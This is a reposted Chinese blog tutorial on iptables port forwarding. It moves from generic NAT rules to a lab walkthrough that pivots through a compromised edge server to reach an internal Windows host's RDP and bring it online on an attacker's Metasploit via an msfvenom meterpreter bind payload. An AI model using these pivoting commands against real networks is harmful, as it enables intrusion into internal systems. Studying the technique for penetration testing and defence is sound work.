利用iptables进行端口转发

您所在的位置:网站首页 iptable转发udp 利用iptables进行端口转发

利用iptables进行端口转发

2024-07-17 07:49| 来源: 网络整理| 查看: 265

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

简介

iptables其实不是真正的防火墙,我们可以把它理解成一个客户端代理,用户通过iptables这个代理,将用户的安全设定执行到对应的“安全框架”中,这个“安全框架”才是真正的防火墙,这个框架的名字叫netfilter。它才是防火墙真正的安全框架(framework),netfilter位于内核空间。

所以,可以理解为:iptables其实是一个命令行工具,位于用户空间,我们用这个工具操作真正的框架。

规则编写1iptables table command chain Parameter&Xmatch target #表名 命令 链名 匹配条件 目标动作或跳转

参数详解

关于端口转发常用选项的简要说明:

12345678910-t #指定表-A #在指定的链结尾追加一条新规则-D #删除指定链中的某条规则-L #打印指定链的所有规则列表 -P #设置为指定链的默认规则 -d #指明数据包的目的 ip-s #指明数据包的源 ip-p #指明协议,如,tcp,udp,icmp -m #扩展选项-j #指明实际的处理动作四表五链

初步认识iptables四表五链的一些工作特性:

四表:

1234Filter #主要用于对数据包进行过滤,根据具体的规则决定是否放行该数据包。Nat #主要用于修改数据包的IP地址 端口信息等(网络地址转换)。Mangle #主要用于修改数据包的TOS TTL 以及数据包设置的mark标记。Raw #主要用于决定数据包是否被状态跟踪机制处理。在匹配数据包时,raw表的规则要优先于其他表。

五链:

12345INPUT #用于修改数据包的服务类型,TTL... 决定数据包是否被状态跟踪机制处理OUTPUT #处理来自外部的数据包 [相当于 windows 防火墙的入站]FORWARD #处理流向外部的数据包 [相当于 windows 防火墙的出站] PREROUTING #将数据直接转发到本机的其它网卡接口上 对数据包作路由选择前应用此链中的规则[所有的数据包进来时都先由此链处理] POSTROUTING #对数据包作路由选择后应用此链中的规则[所有的数据包出来的时侯都先由这个链处理]

各表对应规则链如下:

常用命令

基本命令

1234iptables -t nat -A PREROUTING -p tcp --dport [端口号] -j DNAT --to-destination [目标IP]iptables -t nat -A PREROUTING -p udp --dport [端口号] -j DNAT --to-destination [目标IP]iptables -t nat -A POSTROUTING -p tcp -d [目标IP] --dport [端口号] -j SNAT --to-source [本地服务器IP]iptables -t nat -A POSTROUTING -p udp -d [目标IP] --dport [端口号] -j SNAT --to-source [本地服务器IP]

多端口转发修改方案: ( 将本地服务器的 5000065535 转发至目标 IP 为 1.1.1.1 的 5000065535 端口 )

1234iptables -t nat -A PREROUTING -p tcp -m tcp --dport 50000:65535 -j DNAT --to-destination 1.1.1.1iptables -t nat -A PREROUTING -p udp -m udp --dport 50000:65535 -j DNAT --to-destination 1.1.1.1iptables -t nat -A POSTROUTING -d 1.1.1.1 -p tcp -m tcp --dport 50000:65535 -j SNAT --to-source [本地服务器IP]iptables -t nat -A POSTROUTING -d 1.1.1.1 -p udp -m udp --dport 50000:65535 -j SNAT --to-source [本地服务器IP]

非同端口号修改方案:(使用本地服务器的 60000 端口来转发目标 IP 为 1.1.1.1 的 50000 端口)

1234iptables -t nat -A PREROUTING -p tcp -m tcp --dport 60000 -j DNAT --to-destination 1.1.1.1:50000iptables -t nat -A PREROUTING -p udp -m udp --dport 60000 -j DNAT --to-destination 1.1.1.1:50000iptables -t nat -A POSTROUTING -d 1.1.1.1 -p tcp -m tcp --dport 50000 -j SNAT --to-source [本地服务器IP]iptables -t nat -A POSTROUTING -d 1.1.1.1 -p udp -m udp --dport 50000 -j SNAT --to-source [本地服务器IP]

查看 NAT 规则

1iptables -t nat -vnL

删除 NAT 规则通过上面的查看规则命令,查看规则后,确定你要删除的规则的顺序,下面的命令是删除第一个规则。

12iptables -t nat -D PREROUTING 1iptables -t nat -D POSTROUTING 1实例说明环境准备

☁️VPS攻击机 192.168.199.246

☁️目标边界Linux web服务器(出网) 内网IP 192.168.144.203

目标内网Widnwos web服务器(不出网) 内网IP 192.168.144.211

开启路由转发

首先,在目标边界服务器上的开启系统路由转发功能:

123sed -i '/net.ipv4.ip_forward/ s/\(.*= \).*/\11/' /etc/sysctl.confgrep "net.ipv4.ip_forward" /etc/sysctl.confsysctl -p #使用命令让配置马上生效利用场景RDP端口转发

通过☁️目标边界服务器访问目标内网服务器的远程桌面RDP:

1/sbin/iptables -P INPUT ACCEPT #默认输入为允许

将192.168.144.203的5353端口的全部数据包转换为目的192.168.144.211的3389端口上,这一步只是先把数据包地址转换过来。

【注:192.168.144.203的5353端口为开放状态】

1iptables -t nat -A PREROUTING -d 192.168.144.203 -p tcp -m tcp --dport 5353 -j DNAT --to-destination 192.168.144.211:3389

通俗来讲就是告诉iptables,目的192.168.144.211的3389端口的数据包都从192.168.122.144这个地址上走,这样就能访问到指定的目标内网机器 。

1iptables -t nat -A POSTROUTING -d 192.168.144.211 -p tcp -m tcp --dport 3389 -j SNAT --to-source 192.168.144.203

将转发规则从eth0网卡流出。

1iptables -A FORWARD -o eth0 -d 192.168.144.211 -p tcp --dport 3389 -j ACCEPT

保存iptables设置并重启。

1/etc/init.d/iptables save && /etc/init.d/iptables restart

查看 iptables 的 NAT 规则。

1iptables -t nat -vnL

通过☁️目标边界服务器成功登录到目标内网服务器。

Metasploit上线

通过☁️目标边界服务器把其目标内网服务器(不出网)通过payload上线到☁️VPS攻击机的metasploit上。

12345/sbin/iptables -P INPUT ACCEPTiptables -t nat -A PREROUTING -d 192.168.144.203 -p tcp -m tcp --dport 5353 -j DNAT --to-destination 192.168.144.211:53iptables -t nat -A POSTROUTING -d 192.168.144.211 -p tcp -m tcp --dport 53 -j SNAT --to-source 192.168.144.203iptables -A FORWARD -o eth0 -d 192.168.144.211 -p tcp --dport 53 -j ACCEPT/etc/init.d/iptables save && /etc/init.d/iptables restart

通过msfvenom生成正向的payload。

1sudo msfvenom -p windows/x64/meterpreter/bind_tcp lport=53 -f exe > fw.exe

接着,在☁️VPS攻击机启用metasploit监听后,将该payload在目标内网服务器(不出网) 上执行。

123456sudo msfconsole -qmsf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcpmsf5 exploit(multi/handler) > set rhost 192.168.144.203 #边界服务器IPmsf5 exploit(multi/handler) > set lport 5353 #边界服务器portmsf5 exploit(multi/handler) > run -j

最后,目标内网服务器(不出网)成功上线到☁️VPS攻击机的metasploit上。

总结

Linux的iptables有些类似windows的netsh,但iptables的功能更加强大。由于需要事先开启目标系统的路由转发功能,所以root权限是必不可少的,一切都需在提权之后进行。



【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3